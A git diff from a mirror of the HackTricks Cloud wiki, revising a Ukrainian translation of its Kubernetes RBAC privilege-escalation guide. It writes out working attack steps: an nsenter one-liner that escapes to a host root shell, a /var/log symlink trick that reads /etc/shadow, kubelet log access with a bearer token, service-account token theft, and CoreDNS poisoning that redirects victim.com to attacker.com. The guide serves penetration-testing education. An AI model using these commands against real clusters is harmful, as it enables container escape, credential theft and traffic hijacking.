mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-12 21:13:45 -08:00
Translated ['src/pentesting-cloud/kubernetes-security/abusing-roles-clus
This commit is contained in:
@@ -10,14 +10,14 @@
|
||||
Це мистецтво отримання **доступу до іншого принципала** в кластері **з іншими привілеями** (в межах кластеру kubernetes або до зовнішніх хмар), в Kubernetes є в основному **4 основні техніки для ескалації привілеїв**:
|
||||
|
||||
- Мати можливість **вдаватись** в інших користувачів/групи/SA з кращими привілеями в межах кластеру kubernetes або до зовнішніх хмар
|
||||
- Мати можливість **створювати/поправляти/виконувати поди**, де ви можете **знайти або приєднати SA** з кращими привілеями в межах кластеру kubernetes або до зовнішніх хмар
|
||||
- Мати можливість **створювати/редагувати/виконувати поди**, де ви можете **знайти або приєднати SA** з кращими привілеями в межах кластеру kubernetes або до зовнішніх хмар
|
||||
- Мати можливість **читати секрети**, оскільки токени SA зберігаються як секрети
|
||||
- Мати можливість **втекти на вузол** з контейнера, де ви можете вкрасти всі секрети контейнерів, що працюють на вузлі, облікові дані вузла та дозволи вузла в межах хмари, в якій він працює (якщо такі є)
|
||||
- П'ята техніка, яка заслуговує на згадку, це можливість **запускати port-forward** в поді, оскільки ви можете отримати доступ до цікавих ресурсів в цьому поді.
|
||||
- П'ята техніка, яка заслуговує на згадку, це можливість **запускати port-forward** в поді, оскільки ви можете отримати доступ до цікавих ресурсів у цьому поді.
|
||||
|
||||
### Доступ до Будь-якого Ресурсу або Дії (Wildcard)
|
||||
|
||||
**Дикий символ (\*) надає дозвіл на будь-який ресурс з будь-якою дією**. Його використовують адміністратори. Всередині КластерРолі це означає, що зловмисник може зловживати будь-яким простором імен у кластері.
|
||||
**Дикий символ (\*) надає дозвіл на будь-який ресурс з будь-якою дією**. Його використовують адміністратори. Усередині КластерРолі це означає, що зловмисник може зловживати будь-яким простором імен у кластері.
|
||||
```yaml
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
kind: ClusterRole
|
||||
@@ -29,7 +29,7 @@ rules:
|
||||
resources: ["*"]
|
||||
verbs: ["*"]
|
||||
```
|
||||
### Доступ до будь-якого ресурсу з конкретним дієсловом
|
||||
### Доступ до будь-якого ресурсу з певним дієсловом
|
||||
|
||||
У RBAC певні дозволи становлять значні ризики:
|
||||
|
||||
@@ -49,7 +49,7 @@ verbs: ["create", "list", "get"]
|
||||
```
|
||||
### Pod Create - Steal Token
|
||||
|
||||
Атакуючий з правами на створення пода може прикріпити привілейований обліковий запис служби до пода та вкрасти токен для імітації облікового запису служби. Фактично підвищуючи привілеї до нього.
|
||||
Атакуючий, який має дозволи на створення пода, може прикріпити привілейований обліковий запис служби до пода та вкрасти токен для імітації облікового запису служби. Фактично підвищуючи привілеї до нього.
|
||||
|
||||
Приклад пода, який вкраде токен облікового запису служби `bootstrap-signer` і надішле його атакуючому:
|
||||
```yaml
|
||||
@@ -76,8 +76,8 @@ hostNetwork: true
|
||||
|
||||
Наступне вказує на всі привілеї, які може мати контейнер:
|
||||
|
||||
- **Привілейований доступ** (вимкнення захистів та налаштування можливостей)
|
||||
- **Вимкнення простору імен hostIPC та hostPid**, що може допомогти підвищити привілеї
|
||||
- **Привілейований доступ** (вимкнення захисту та налаштування можливостей)
|
||||
- **Вимкнення простору імен hostIPC та hostPid**, що може допомогти в ескалації привілеїв
|
||||
- **Вимкнення простору імен hostNetwork**, що надає доступ для крадіжки привілеїв вузлів у хмарі та кращого доступу до мереж
|
||||
- **Монтування хостів / всередині контейнера**
|
||||
```yaml:super_privs.yaml
|
||||
@@ -119,7 +119,7 @@ path: /
|
||||
```bash
|
||||
kubectl --token $token create -f mount_root.yaml
|
||||
```
|
||||
Однорядковий код з [цього твітту](https://twitter.com/mauilion/status/1129468485480751104) та з деякими доповненнями:
|
||||
Однорядковий з [цього твітту](https://twitter.com/mauilion/status/1129468485480751104) та з деякими доповненнями:
|
||||
```bash
|
||||
kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}'
|
||||
```
|
||||
@@ -136,12 +136,12 @@ kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hos
|
||||
- **hostNetwork**
|
||||
- **hostIPC**
|
||||
|
||||
_Ви можете знайти приклад того, як створити/зловживати попередніми конфігураціями привілейованих подів в_ [_https://github.com/BishopFox/badPods_](https://github.com/BishopFox/badPods)
|
||||
_Ви можете знайти приклад того, як створити/зловживати попередніми конфігураціями привілейованих подів у_ [_https://github.com/BishopFox/badPods_](https://github.com/BishopFox/badPods)
|
||||
|
||||
### Створення пода - Перехід до хмари
|
||||
|
||||
Якщо ви можете **створити** **под** (і, за бажанням, **обліковий запис служби**), ви можете **отримати привілеї в хмарному середовищі**, **призначивши хмарні ролі поду або обліковому запису служби** і потім отримавши до нього доступ.\
|
||||
Більше того, якщо ви можете створити **под з простором імен мережі хоста**, ви можете **вкрасти IAM** роль **вузла** екземпляра.
|
||||
Більше того, якщо ви можете створити **под з простором імен мережі хоста**, ви можете **викрасти IAM** роль **вузла** екземпляра.
|
||||
|
||||
Для отримання додаткової інформації перевірте:
|
||||
|
||||
@@ -193,25 +193,30 @@ path: /
|
||||
|
||||
**`pods/exec`** - це ресурс у kubernetes, який використовується для **виконання команд у оболонці всередині пода**. Це дозволяє **виконувати команди всередині контейнерів або отримати оболонку всередині**.
|
||||
|
||||
Отже, можливо **потрапити всередину пода і вкрасти токен SA**, або зайти в привілейований под, втекти на вузол і вкрасти всі токени подів на вузлі та (зловживати) вузлом:
|
||||
Отже, можливо **потрапити всередину пода і вкрасти токен SA**, або увійти в привілейований под, втекти на вузол і вкрасти всі токени подів на вузлі та (зловживати) вузлом:
|
||||
```bash
|
||||
kubectl exec -it <POD_NAME> -n <NAMESPACE> -- sh
|
||||
```
|
||||
> [!NOTE]
|
||||
> За замовчуванням команда виконується в першому контейнері пода. Отримайте **всі контейнери в поді** за допомогою `kubectl get pods <pod_name> -o jsonpath='{.spec.containers[*].name}'`, а потім **вкажіть контейнер**, в якому ви хочете його виконати, за допомогою `kubectl exec -it <pod_name> -c <container_name> -- sh`
|
||||
|
||||
Якщо це контейнер без дистрибутиву, ви можете спробувати використовувати **вбудовані команди оболонки** для отримання інформації про контейнери або завантажити свої власні інструменти, такі як **busybox**, використовуючи: **`kubectl cp </path/local/file> <podname>:</path/in/container>`**.
|
||||
|
||||
### port-forward
|
||||
|
||||
Ця дозволяє **перенаправити один локальний порт на один порт у вказаному поді**. Це призначено для того, щоб легко налагоджувати програми, що працюють всередині пода, але зловмисник може зловживати цим, щоб отримати доступ до цікавих (наприклад, БД) або вразливих програм (вебів?) всередині пода:
|
||||
```
|
||||
Ця дозволяє **перенаправити один локальний порт на один порт у вказаному поді**. Це призначено для того, щоб мати можливість легко налагоджувати програми, що працюють всередині пода, але зловмисник може зловживати цим, щоб отримати доступ до цікавих (наприклад, БД) або вразливих додатків (веб?) всередині пода:
|
||||
```bash
|
||||
kubectl port-forward pod/mypod 5000:5000
|
||||
```
|
||||
### Hosts Writable /var/log/ Escape
|
||||
|
||||
Як [**вказано в цьому дослідженні**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), якщо ви можете отримати доступ або створити под з **підключеним каталогом `/var/log/`** на ньому, ви можете **втекти з контейнера**.\
|
||||
Це в основному тому, що коли **Kube-API намагається отримати логи** контейнера (використовуючи `kubectl logs <pod>`), він **запитує файл `0.log`** пода, використовуючи `/logs/` кінцеву точку служби **Kubelet**.\
|
||||
Це в основному тому, що коли **Kube-API намагається отримати журнали** контейнера (використовуючи `kubectl logs <pod>`), він **запитує файл `0.log`** пода, використовуючи кінцеву точку `/logs/` служби **Kubelet**.\
|
||||
Служба Kubelet відкриває кінцеву точку `/logs/`, яка в основному **відкриває файлову систему `/var/log` контейнера**.
|
||||
|
||||
Отже, зловмисник з **доступом на запис у папку /var/log/** контейнера може зловживати цією поведінкою 2 способами:
|
||||
Отже, зловмисник з **доступом на запис у папку /var/log/** контейнера може зловживати цією поведінкою двома способами:
|
||||
|
||||
- Модифікація файлу `0.log` свого контейнера (зазвичай розташованого в `/var/logs/pods/namespace_pod_uid/container/0.log`) так, щоб він був **символічним посиланням на `/etc/shadow`** наприклад. Тоді ви зможете ексфільтрувати файл тіней хостів, виконавши:
|
||||
- Модифікуючи файл `0.log` свого контейнера (зазвичай розташований у `/var/logs/pods/namespace_pod_uid/container/0.log`), щоб він був **символічним посиланням на `/etc/shadow`**, наприклад. Тоді ви зможете ексфільтрувати файл тіней хостів, виконавши:
|
||||
```bash
|
||||
kubectl logs escaper
|
||||
failed to get parse function: unsupported log format: "root::::::::\n"
|
||||
@@ -219,7 +224,7 @@ kubectl logs escaper --tail=2
|
||||
failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n"
|
||||
# Keep incrementing tail to exfiltrate the whole file
|
||||
```
|
||||
- Якщо зловмисник контролює будь-який принципал з **дозволами на читання `nodes/log`**, він може просто створити **symlink** у `/host-mounted/var/log/sym` на `/` і коли **доступаючи до `https://<gateway>:10250/logs/sym/` він отримає список кореневої** файлової системи хоста (зміна symlink може надати доступ до файлів).
|
||||
- Якщо зловмисник контролює будь-який принципал з **дозволами на читання `nodes/log`**, він може просто створити **symlink** в `/host-mounted/var/log/sym` на `/` і, коли **доступаючи до `https://<gateway>:10250/logs/sym/`, він отримає список кореневої** файлової системи хосту (зміна symlink може надати доступ до файлів).
|
||||
```bash
|
||||
curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/'
|
||||
<a href="bin">bin</a>
|
||||
@@ -235,7 +240,7 @@ curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://
|
||||
|
||||
#### Обхід захисту readOnly <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>
|
||||
|
||||
Якщо вам пощастить, і високо привілейована можливість `CAP_SYS_ADMIN` доступна, ви можете просто змонтувати папку з правами на запис:
|
||||
Якщо вам пощастить, і високо привілейована можливість `CAP_SYS_ADMIN` доступна, ви можете просто змонтувати папку знову як rw:
|
||||
```bash
|
||||
mount -o rw,remount /hostlogs/
|
||||
```
|
||||
@@ -247,7 +252,7 @@ allowedHostPaths:
|
||||
- pathPrefix: "/foo"
|
||||
readOnly: true
|
||||
```
|
||||
Що мало на меті запобігти втечам, подібним до попередніх, шляхом використання не hostPath mount, а PersistentVolume та PersistentVolumeClaim для монтування папки хоста в контейнер з правами на запис:
|
||||
Який мав на меті запобігти втечам, подібним до попередніх, шляхом використання не hostPath mount, а PersistentVolume та PersistentVolumeClaim для монтування папки хоста в контейнер з правами на запис:
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: PersistentVolume
|
||||
@@ -318,7 +323,7 @@ curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1
|
||||
```
|
||||
### Створення та читання секретів
|
||||
|
||||
Існує особливий тип секрету Kubernetes **kubernetes.io/service-account-token**, який зберігає токени облікових записів служби. Якщо у вас є дозволи на створення та читання секретів, і ви також знаєте ім'я облікового запису служби, ви можете створити секрет наступним чином, а потім вкрасти токен облікового запису служби жертви з нього:
|
||||
Існує особливий вид секрету Kubernetes типу **kubernetes.io/service-account-token**, який зберігає токени облікових записів сервісу. Якщо у вас є дозволи на створення та читання секретів, і ви також знаєте ім'я облікового запису сервісу, ви можете створити секрет наступним чином, а потім вкрасти токен облікового запису сервісу жертви з нього:
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: Secret
|
||||
@@ -381,7 +386,7 @@ $ kubectl get secret stolen-admin-sa-token --token=$SECRETS_MANAGER_TOKEN -o jso
|
||||
|
||||
### Читання секрету – брутфорсинг ID токенів
|
||||
|
||||
Хоча зловмисник, що має токен з правами на читання, потребує точну назву секрету для його використання, на відміну від ширшого привілею _**переліку секретів**_, все ще існують вразливості. За замовчуванням облікові записи служб у системі можуть бути перераховані, кожен з яких пов'язаний з секретом. Ці секрети мають структуру назви: статичний префікс, за яким слідує випадковий п'ятисимвольний алфавітно-цифровий токен (за винятком певних символів) відповідно до [джерела коду](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83).
|
||||
Хоча зловмисник, що має токен з правами на читання, потребує точну назву секрету для його використання, на відміну від ширшого привілею _**переліку секретів**_, все ще існують вразливості. За замовчуванням облікові записи служб у системі можуть бути перераховані, кожна з яких асоційована з секретом. Ці секрети мають структуру назви: статичний префікс, за яким слідує випадковий п'ятисимвольний алфавітно-цифровий токен (за винятком певних символів) відповідно до [джерела коду](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83).
|
||||
|
||||
Токен генерується з обмеженого набору з 27 символів (`bcdfghjklmnpqrstvwxz2456789`), а не з повного алфавітно-цифрового діапазону. Це обмеження зменшує загальну кількість можливих комбінацій до 14,348,907 (27^5). Відповідно, зловмисник може здійснити брутфорс-атаку, щоб вивести токен за кілька годин, що потенційно призведе до ескалації привілеїв шляхом доступу до чутливих облікових записів служб.
|
||||
|
||||
@@ -422,7 +427,7 @@ resourceNames:
|
||||
verbs:
|
||||
- approve
|
||||
```
|
||||
Отже, з новим затвердженим CSR вузла, ви можете **зловживати** спеціальними правами вузлів, щоб **викрасти секрети** та **підвищити привілеї**.
|
||||
Отже, з новим затвердженим CSR вузла ви можете **зловживати** спеціальними правами вузлів, щоб **викрасти секрети** та **підвищити привілеї**.
|
||||
|
||||
У [**цьому пості**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) та [**цьому**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/) конфігурація GKE K8s TLS Bootstrap налаштована з **автоматичним підписанням**, і це зловживається для генерації облікових даних нового вузла K8s, а потім ці облікові дані зловживаються для підвищення привілеїв шляхом викрадення секретів.\
|
||||
Якщо ви **маєте згадані привілеї, ви могли б зробити те ж саме**. Зверніть увагу, що перший приклад обминає помилку, яка заважає новому вузлу отримувати доступ до секретів всередині контейнерів, оскільки **вузол може отримувати доступ лише до секретів контейнерів, змонтованих на ньому.**
|
||||
@@ -474,49 +479,89 @@ groups:
|
||||
- system:masters
|
||||
```
|
||||
> [!WARNING]
|
||||
> Ви можете використовувати **`aws-auth`** для **постійності**, надаючи доступ користувачам з **інших облікових записів**.
|
||||
> Ви можете використовувати **`aws-auth`** для **постійного доступу** користувачів з **інших облікових записів**.
|
||||
>
|
||||
> Однак, `aws --profile other_account eks update-kubeconfig --name <cluster-name>` **не працює з іншого облікового запису**. Але насправді `aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing` працює, якщо ви введете ARN кластера замість просто назви.\
|
||||
> Щоб `kubectl` працював, просто переконайтеся, що **налаштували** **kubeconfig жертви** і в аргументах exec aws додайте `--profile other_account_role`, щоб kubectl використовував профіль іншого облікового запису для отримання токена та зв'язку з AWS.
|
||||
|
||||
### CoreDNS config map
|
||||
|
||||
Якщо у вас є дозволи на зміну **`coredns` configmap** в просторі імен `kube-system`, ви можете змінити адреси, до яких будуть розв'язуватись домени, щоб мати можливість виконувати атаки MitM для **викрадення чутливої інформації або впровадження шкідливого контенту**.
|
||||
|
||||
Необхідні дієслова - **`update`** та **`patch`** над **`coredns`** configmap (або всіма config maps).
|
||||
|
||||
Звичайний **файл coredns** містить щось на зразок цього:
|
||||
```yaml
|
||||
data:
|
||||
Corefile: |
|
||||
.:53 {
|
||||
log
|
||||
errors
|
||||
health {
|
||||
lameduck 5s
|
||||
}
|
||||
ready
|
||||
kubernetes cluster.local in-addr.arpa ip6.arpa {
|
||||
pods insecure
|
||||
fallthrough in-addr.arpa ip6.arpa
|
||||
ttl 30
|
||||
}
|
||||
prometheus :9153
|
||||
hosts {
|
||||
192.168.49.1 host.minikube.internal
|
||||
fallthrough
|
||||
}
|
||||
forward . /etc/resolv.conf {
|
||||
max_concurrent 1000
|
||||
}
|
||||
cache 30
|
||||
loop
|
||||
reload
|
||||
loadbalance
|
||||
}
|
||||
```
|
||||
Атакуючий може завантажити його, запустивши `kubectl get configmap coredns -n kube-system -o yaml`, змінити його, додавши щось на кшталт `rewrite name victim.com attacker.com`, так що коли `victim.com` буде доступний, насправді буде доступний домен `attacker.com`. А потім застосувати це, запустивши `kubectl apply -f poison_dns.yaml`.
|
||||
|
||||
Інший варіант - просто відредагувати файл, запустивши `kubectl edit configmap coredns -n kube-system` і внести зміни.
|
||||
|
||||
### Ескалація в GKE
|
||||
|
||||
Є **2 способи призначити K8s дозволи для GCP принципів**. У будь-якому випадку принцип також потребує дозволу **`container.clusters.get`**, щоб мати можливість отримати облікові дані для доступу до кластера, або вам потрібно буде **згенерувати власний файл конфігурації kubectl** (перейдіть за наступним посиланням).
|
||||
Є **2 способи призначити K8s дозволи GCP принципалам**. У будь-якому випадку принципал також потребує дозволу **`container.clusters.get`**, щоб мати можливість отримати облікові дані для доступу до кластера, або вам потрібно буде **згенерувати свій власний файл конфігурації kubectl** (перейдіть за наступним посиланням).
|
||||
|
||||
> [!WARNING]
|
||||
> Коли ви спілкуєтеся з кінцевою точкою K8s api, **токен автентифікації GCP буде надіслано**. Потім GCP, через кінцеву точку K8s api, спочатку **перевірить, чи має принцип** (за електронною поштою) **доступ до кластера**, потім перевірить, чи має він **будь-який доступ через GCP IAM**.\
|
||||
> Коли ви звертаєтеся до K8s api endpoint, **GCP auth token буде надіслано**. Потім GCP, через K8s api endpoint, спочатку **перевірить, чи має принципал** (за електронною поштою) **будь-який доступ до кластера**, потім перевірить, чи має він **будь-який доступ через GCP IAM**.\
|
||||
> Якщо **будь-який** з цих пунктів **істинний**, він отримає **відповідь**. Якщо **ні**, буде надана **помилка**, що пропонує надати **дозволи через GCP IAM**.
|
||||
|
||||
Отже, перший метод - це використання **GCP IAM**, дозволи K8s мають свої **еквівалентні дозволи GCP IAM**, і якщо принцип має їх, він зможе їх використовувати.
|
||||
Отже, перший метод - це використання **GCP IAM**, дозволи K8s мають свої **еквівалентні дозволи GCP IAM**, і якщо принципал їх має, він зможе їх використовувати.
|
||||
|
||||
{{#ref}}
|
||||
../../gcp-security/gcp-privilege-escalation/gcp-container-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
Другий метод - це **призначення дозволів K8s всередині кластера** шляхом ідентифікації користувача за його **електронною поштою** (включаючи облікові записи служб GCP).
|
||||
Другий метод - це **призначення K8s дозволів всередині кластера** шляхом ідентифікації користувача за його **електронною поштою** (включаючи облікові записи служб GCP).
|
||||
|
||||
### Створення токена serviceaccounts
|
||||
|
||||
Принципи, які можуть **створювати TokenRequests** (`serviceaccounts/token`) при спілкуванні з кінцевою точкою K8s api SAs (інформація з [**тут**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/token_request.rego)).
|
||||
Принципали, які можуть **створювати TokenRequests** (`serviceaccounts/token`) при зверненні до K8s api endpoint SAs (інформація з [**тут**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/token_request.rego)).
|
||||
|
||||
### ephemeralcontainers
|
||||
|
||||
Принципи, які можуть **`update`** або **`patch`** **`pods/ephemeralcontainers`**, можуть отримати **виконання коду на інших подах**, і потенційно **вийти** на свій вузол, додавши епhemeral контейнер з привілейованим securityContext.
|
||||
Принципали, які можуть **`update`** або **`patch`** **`pods/ephemeralcontainers`**, можуть отримати **виконання коду на інших подах**, і потенційно **вийти** на свій вузол, додавши епhemeral контейнер з привілейованим securityContext.
|
||||
|
||||
### ValidatingWebhookConfigurations або MutatingWebhookConfigurations
|
||||
|
||||
Принципи з будь-якими з дієслів `create`, `update` або `patch` над `validatingwebhookconfigurations` або `mutatingwebhookconfigurations` можуть бути здатні **створити одну з таких webhookconfigurations**, щоб мати можливість **ескалації привілеїв**.
|
||||
Принципали з будь-якими з дієслів `create`, `update` або `patch` над `validatingwebhookconfigurations` або `mutatingwebhookconfigurations` можуть бути здатні **створити одну з таких webhookconfigurations**, щоб мати можливість **ескалації привілеїв**.
|
||||
|
||||
Для [`mutatingwebhookconfigurations` прикладу перевірте цей розділ цього посту](#malicious-admission-controller).
|
||||
|
||||
### Ескалація
|
||||
|
||||
Як ви можете прочитати в наступному розділі: [**Вбудоване запобігання ескалації привілеїв**](#built-in-privileged-escalation-prevention), принцип не може оновлювати або створювати ролі чи кластерні ролі, не маючи самих цих нових дозволів. За винятком випадків, коли він має **дієслово `escalate`** над **`roles`** або **`clusterroles`**.\
|
||||
Тоді він може оновлювати/створювати нові ролі, кластерні ролі з кращими дозволами, ніж ті, що він має.
|
||||
Як ви можете прочитати в наступному розділі: [**Вбудоване запобігання ескалації привілеїв**](#built-in-privileged-escalation-prevention), принципал не може оновлювати або створювати ролі або clusterroles без наявності у себе цих нових дозволів. За винятком випадків, коли він має **дієслово `escalate` або `*`** над **`roles`** або **`clusterroles`** та відповідні параметри прив'язки.\
|
||||
Тоді він може оновлювати/створювати нові ролі, clusterroles з кращими дозволами, ніж ті, що він має.
|
||||
|
||||
### Проксі вузлів
|
||||
|
||||
Принципи з доступом до підресурсу **`nodes/proxy`** можуть **виконувати код на подах** через Kubelet API (згідно з [**цим**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/nodes_proxy.rego)). Більше інформації про автентифікацію Kubelet на цій сторінці:
|
||||
Принципали з доступом до підресурсу **`nodes/proxy`** можуть **виконувати код на подах** через Kubelet API (згідно з [**цим**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/nodes_proxy.rego)). Більше інформації про аутентифікацію Kubelet на цій сторінці:
|
||||
|
||||
{{#ref}}
|
||||
../pentesting-kubernetes-services/kubelet-authentication-and-authorization.md
|
||||
@@ -526,7 +571,7 @@ groups:
|
||||
|
||||
### Видалення подів + незаплановані вузли
|
||||
|
||||
Принципи, які можуть **видаляти поди** (`delete` дієслово над ресурсом `pods`), або **виселяти поди** (`create` дієслово над ресурсом `pods/eviction`), або **змінювати статус пода** (доступ до `pods/status`) і можуть **зробити інші вузли незапланованими** (доступ до `nodes/status`) або **видаляти вузли** (`delete` дієслово над ресурсом `nodes`) і мають контроль над подом, можуть **вкрасти поди з інших вузлів**, щоб вони були **виконані** в **зламаному** **вузлі**, і зловмисник може **вкрасти токени** з цих подів.
|
||||
Принципали, які можуть **видаляти поди** (`delete` дієслово над ресурсом `pods`), або **виселяти поди** (`create` дієслово над ресурсом `pods/eviction`), або **змінювати статус пода** (доступ до `pods/status`) і можуть **зробити інші вузли незапланованими** (доступ до `nodes/status`) або **видаляти вузли** (`delete` дієслово над ресурсом `nodes`) і мають контроль над подом, можуть **вкрасти поди з інших вузлів**, щоб вони **виконувалися** на **зламаному** **вузлі**, і атакуючий може **вкрасти токени** з цих подів.
|
||||
```bash
|
||||
patch_node_capacity(){
|
||||
curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]'
|
||||
@@ -539,7 +584,7 @@ kubectl delete pods -n kube-system <privileged_pod_name>
|
||||
```
|
||||
### Стан сервісів (CVE-2020-8554)
|
||||
|
||||
Принципали, які можуть **модифікувати** **`services/status`**, можуть встановити поле `status.loadBalancer.ingress.ip`, щоб експлуатувати **неусунуту CVE-2020-8554** та запускати **MiTM атаки проти кластера**. Більшість заходів щодо пом'якшення CVE-2020-8554 лише запобігають ExternalIP сервісам (згідно з [**цим**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego)).
|
||||
Принципали, які можуть **модифікувати** **`services/status`**, можуть встановити поле `status.loadBalancer.ingress.ip`, щоб експлуатувати **неусунуту CVE-2020-8554** та запускати **MiTM атаки проти кластера**. Більшість заходів щодо пом'якшення CVE-2020-8554 лише запобігають сервісам ExternalIP (згідно з [**цим**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego)).
|
||||
|
||||
### Стан вузлів і подів
|
||||
|
||||
@@ -551,7 +596,7 @@ Kubernetes має [вбудований механізм](https://kubernetes.io/
|
||||
|
||||
Ця система забезпечує, що **користувачі не можуть підвищити свої привілеї, модифікуючи ролі або прив'язки ролей**. Виконання цього правила відбувається на рівні API, забезпечуючи захист навіть коли авторизатор RBAC неактивний.
|
||||
|
||||
Правило stipulates, що **користувач може створювати або оновлювати роль лише якщо він має всі дозволи, які містить роль**. Більше того, обсяг існуючих дозволів користувача повинен відповідати обсягу ролі, яку він намагається створити або модифікувати: або на рівні кластера для ClusterRoles, або обмежений тим самим простором імен (або на рівні кластера) для Roles.
|
||||
Правило stipulates, що **користувач може створювати або оновлювати роль лише якщо він має всі дозволи, які містить роль**. Більше того, обсяг існуючих дозволів користувача повинен відповідати обсягу ролі, яку він намагається створити або модифікувати: або на рівні кластера для ClusterRoles, або обмежений тим же простором імен (або на рівні кластера) для Roles.
|
||||
|
||||
> [!WARNING]
|
||||
> Існує виняток з попереднього правила. Якщо принципал має **дію `escalate`** над **`roles`** або **`clusterroles`**, він може підвищити привілеї ролей і кластерних ролей, навіть не маючи самих дозволів.
|
||||
@@ -559,7 +604,7 @@ Kubernetes має [вбудований механізм](https://kubernetes.io/
|
||||
### **Отримати та модифікувати RoleBindings/ClusterRoleBindings**
|
||||
|
||||
> [!CAUTION]
|
||||
> **Очевидно, ця техніка працювала раніше, але згідно з моїми тестами, вона більше не працює з тієї ж причини, що й у попередньому розділі. Ви не можете створити/модифікувати прив'язку ролі, щоб надати собі або іншому SA деякі привілеї, якщо у вас їх вже немає.**
|
||||
> **Очевидно, ця техніка працювала раніше, але згідно з моїми тестами, вона більше не працює з тієї ж причини, що пояснена в попередньому розділі. Ви не можете створити/модифікувати прив'язку ролі, щоб надати собі або іншому SA деякі привілеї, якщо у вас їх вже немає.**
|
||||
|
||||
Привілей створювати Rolebindings дозволяє користувачу **прив'язувати ролі до облікового запису служби**. Цей привілей може потенційно призвести до ескалації привілеїв, оскільки **дозволяє користувачу прив'язувати адміністративні привілеї до скомпрометованого облікового запису служби.**
|
||||
|
||||
@@ -569,55 +614,29 @@ Kubernetes має [вбудований механізм](https://kubernetes.io/
|
||||
|
||||
За замовчуванням у комунікації між подами немає жодного шифрування. Взаємна аутентифікація, двостороння, под до пода.
|
||||
|
||||
#### Створити додаток проксі-сайдкара <a href="#create-a-sidecar-proxy-app" id="create-a-sidecar-proxy-app"></a>
|
||||
#### Створити додаток проксі-сайдкара
|
||||
|
||||
Створіть ваш .yaml
|
||||
```bash
|
||||
kubectl run app --image=bash --command -oyaml --dry-run=client > <appName.yaml> -- sh -c 'ping google.com'
|
||||
```
|
||||
Редагуйте свій .yaml і додайте розкоментовані рядки:
|
||||
Контейнер-сайдкар складається просто з додавання **другого (або більше) контейнера всередині пода**.
|
||||
|
||||
Наприклад, наступне є частиною конфігурації пода з 2 контейнерами:
|
||||
```yaml
|
||||
#apiVersion: v1
|
||||
#kind: Pod
|
||||
#metadata:
|
||||
# name: security-context-demo
|
||||
#spec:
|
||||
# securityContext:
|
||||
# runAsUser: 1000
|
||||
# runAsGroup: 3000
|
||||
# fsGroup: 2000
|
||||
# volumes:
|
||||
# - name: sec-ctx-vol
|
||||
# emptyDir: {}
|
||||
# containers:
|
||||
# - name: sec-ctx-demo
|
||||
# image: busybox
|
||||
command:
|
||||
[
|
||||
"sh",
|
||||
"-c",
|
||||
"apt update && apt install iptables -y && iptables -L && sleep 1h",
|
||||
]
|
||||
securityContext:
|
||||
capabilities:
|
||||
add: ["NET_ADMIN"]
|
||||
# volumeMounts:
|
||||
# - name: sec-ctx-vol
|
||||
# mountPath: /data/demo
|
||||
# securityContext:
|
||||
# allowPrivilegeEscalation: true
|
||||
spec:
|
||||
containers:
|
||||
- name: main-application
|
||||
image: nginx
|
||||
- name: sidecar-container
|
||||
image: busybox
|
||||
command: ["sh","-c","<execute something in the same pod but different container>"]
|
||||
```
|
||||
Перегляньте журнали проксі:
|
||||
```bash
|
||||
kubectl logs app -C proxy
|
||||
```
|
||||
Більше інформації за адресою: [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/)
|
||||
Наприклад, щоб створити бекдор для існуючого пода з новим контейнером, ви можете просто додати новий контейнер у специфікацію. Зверніть увагу, що ви можете **надати більше прав** другому контейнеру, яких не буде у першого.
|
||||
|
||||
### Зловмисний Admission Controller
|
||||
Більше інформації на: [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/)
|
||||
|
||||
Admission controller **перехоплює запити до сервера API Kubernetes** перед збереженням об'єкта, але **після того, як запит аутентифіковано** **та авторизовано**.
|
||||
### Зловмисний контролер доступу
|
||||
|
||||
Якщо зловмиснику вдасться **впровадити Mutationg Admission Controller**, він зможе **модифікувати вже аутентифіковані запити**. Це може дозволити потенційно підвищити привілеї, а зазвичай і зберігатися в кластері.
|
||||
Контролер доступу **перехоплює запити до сервера API Kubernetes** перед збереженням об'єкта, але **після того, як запит аутентифіковано** **і авторизовано**.
|
||||
|
||||
Якщо зловмиснику вдасться **впровадити контролер доступу для модифікації**, він зможе **модифікувати вже аутентифіковані запити**. Це може дозволити потенційно підвищити привілеї, а також зазвичай зберігатися в кластері.
|
||||
|
||||
